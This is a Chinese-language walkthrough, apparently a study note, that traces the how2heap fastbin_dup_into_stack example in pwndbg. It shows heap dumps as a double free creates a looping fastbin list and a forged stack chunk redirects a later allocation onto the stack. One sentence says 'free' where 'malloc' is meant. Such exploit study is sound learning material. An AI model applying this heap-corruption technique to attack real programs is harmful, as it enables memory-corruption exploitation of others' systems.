工具

pwngdb

直接分析

代码来自fastbin_dup_into_stack.c
首先gdb载入
运行到这里

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

看看堆的结构

pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0

0x602000 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x602020 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x602040 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
  prev_size = 0, 
  size = 135073, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

看到0x602060前面三个都是malloc的了。0x602060这个地方就是topchunk了。0x21实际上应该表示大小0x20,那个1是标志位

free(a)之后

0x602000 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x602020 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
0x602040 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
  prev_size = 0, 
  size = 135073, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

可以看到堆的信息没有什么变化

然后free(b)

// a
0x602000 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
// b
0x602020 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x602000, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}

很明显,b->fd指向了a之前申请的块。

看看具体的数据

pwndbg> x/16gx 0x602000
0x602000:    0x0000000000000000    0x0000000000000021
0x602010:    0x0000000000000000    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000021
0x602030:    0x0000000000602000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000021
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000020fa1
0x602070:    0x0000000000000000    0x0000000000000000

0x602030: 0x0000000000602000这个地方就是那个fd啦。

接下来再free(a)一下

//a
0x602000 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x602020, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
//b
0x602020 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x602000, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}

可以看到a和b的fd都互相指了,构成了一个循环链表

fake chunk

stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

由上面这段,实际上是在栈上构造了假的堆块,然后利用double free,d获得了还在 free list的chunk a,对a的fd进行了修改,修改到了栈上,那么在再次free(a)之后,freelist就剩下了伪造的栈的块,再free,即可获得栈空间控制权

然后,可怕的事情就要发生了

//a
0x602000 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x7fffffffdeb0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
//b
0x602020 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x602000, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
//c
0x602040 PREV_INUSE
{
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE
{
  prev_size = 0, 
  size = 135073, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

a的fd变成了0x7fffffffdeb0

由malloc的机制很容易知道,下次malloc到0x602000这个地方的chunk的时候,就是0x7fffffffdeb0+0x10 = 0x7fffffffdec0,就是开始的指针a在栈上的地址。

results matching ""

    No results matching ""